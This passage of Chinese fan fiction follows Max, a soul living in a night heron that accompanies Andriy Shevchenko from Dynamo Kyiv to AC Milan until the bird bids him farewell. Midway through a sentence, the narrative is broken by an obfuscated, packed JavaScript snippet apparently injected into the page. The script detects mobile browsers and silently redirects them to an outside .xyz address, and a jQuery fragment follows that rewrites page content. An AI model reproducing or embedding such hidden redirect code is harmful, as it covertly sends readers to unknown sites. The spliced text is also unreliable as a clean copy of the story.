上半场，主队一球落后。 Max并不知道更衣室里发生了什么，但肉眼可见的是，下半场的基辅迪纳摩球员们脱下了紧身裤，他们的膝盖像螺丝轴承一样，在寒冬里积极转动。 这种置之死地而后生的态度改变了最后的结果。 雷布罗夫和巴西纳斯的进球帮助球队获胜。 Max有些担忧：“我怎么感觉……也许是我其实不懂球，但雷布罗夫看起来更像是这只球队的战神。” 同样的怀疑也发生在看台上的加利亚尼和布拉伊达之间。 布拉伊达肯定地告诉前者，是的，安德烈很强。 ——这就是那场比赛的又一个结局了。 于是暂时同为家庭成员的Max知道了一件事：安德烈要去一趟米兰。 “我可以跟着去吗？”Max憧憬地问。 机械鸟：“但你还得回来。直到他真正搬家，成为那座城市的居住者。” “我不在乎，我只是想去看一看。” “可是你要怎么去？谁来为你提供食物和居所，为你的安全保驾护航呢？” “为什么我不能现在就……” “因为完美需要耐心，我在调试你的载体，为了完成你的足球梦。” 这是梅塔诺亚的承诺，也是第一次让Max理解它到底在干什么。 Max最终没有再提去米兰的事。 但米兰的报纸上，已经将舍甫琴科自以为的“秘密”宣传到了人尽皆知。 更别提在2月，米兰与基辅迪纳摩的友谊赛。 后者赢了。 这是在与皇马的目光比赛之前，最特殊的一场比赛。 后面的时间过得太快了，在Max没某反应过来的时候，米兰重返胜利的轨道，而在此之间，舍甫琴科在对阵皇马的两回合比赛里打进三球，在与拜仁的比赛里他打进两球。 虽然在慕尼黑，基辅迪纳摩0：1输给了拜仁，未能晋级决赛，但是舍甫琴科的名字，更加响亮。 Max不记得二号饲养员这几个月高兴了多少次，尤其是赛季最后一场，米兰以一分之差夺冠，时隔三年让米兰城重染红黑色。 只是他自己，难得心不在焉起来。 他知道，安德烈要走了。 ＊ 6月30日 “抱歉，我还带了一只鸟。” 舍甫琴科不知道第多少次说这句话。 待在航 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598458|171949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空箱里的夜鹭安静如鸡，它靠着毅力折磨了安德烈整整好几个晚上，才让对方接受了“啊家里的鸟太爱我了”这件事。 在半个月前，安德烈去米兰重新签合同却不愿意带上它，夜鹭在舍甫琴科家显得颓丧、不愿意进食。 直到安德烈在6.26临时返回基辅，夜鹭就一直围着他打转。 “嘿，安德烈，它已经不愿意失去你了。” 妈妈忍不住打趣。 “可是我没有时间照顾他。” “但它是你当初决定留下的，你是它的主人。” “好吧，它是个聪明的小家伙，我想办法把它一起带走，它应该不会饿死吧。” 夜鹭兴奋地用油光滑亮的翅膀蹭了蹭安德烈的腿。 不幸又幸运的是，世界上大部分问题，都是钱可以解决的。 而舍甫琴科不缺钱。 所以夜鹭能够堂而皇之住进乔利酒店。 在圣西罗的亮相仪式上，舍甫琴科在万千人注视下跑下楼梯。 夜鹭在那天绕着圣西罗飞了一圈又一圈。 安德烈在离开之前看到了它，惊喜地摸了摸它的头毛。 “要跟我一起走吗？” 夜鹭不会说话。它跟着他飞走。 ＊ 直到9月。 “机会来了，Max。”机械鸟高兴地通知他。 “是吗？太棒了。当我的灵魂离开，夜鹭还会留在这里吗？” “它会消失。” “哦，也许我应该和他道别。毕竟我是1996年认识他的。” “在新年之前解决，好吗？” 机械鸟给了一个足够长的准备时间。 “当然。” 一件不愉快的事情突然发生——安德烈的父亲病倒了。 在俱乐部的帮助下，安德烈的父母被安排到了米兰城，安德烈也终于搬进了一座新的公寓。 于是夜鹭白天经常在帕维亚的医院和米兰内洛之间来回飞。 那可是一段遥远的距离。毕竟安德烈开车都能迷路，而一只鸟竟然做到了。 安德烈的家人惊喜于它的温情，但是他们不会知道，这其实是愧疚的Max在做最后的道别。 他总要离开的。 为了米兰，为了他自己。 在米兰百年庆典的当天，夜鹭用爪子沾染鱼血艰难地在公寓桌子上留了两行字。 【谢谢，安德烈，再见。 by 你的夜鹭】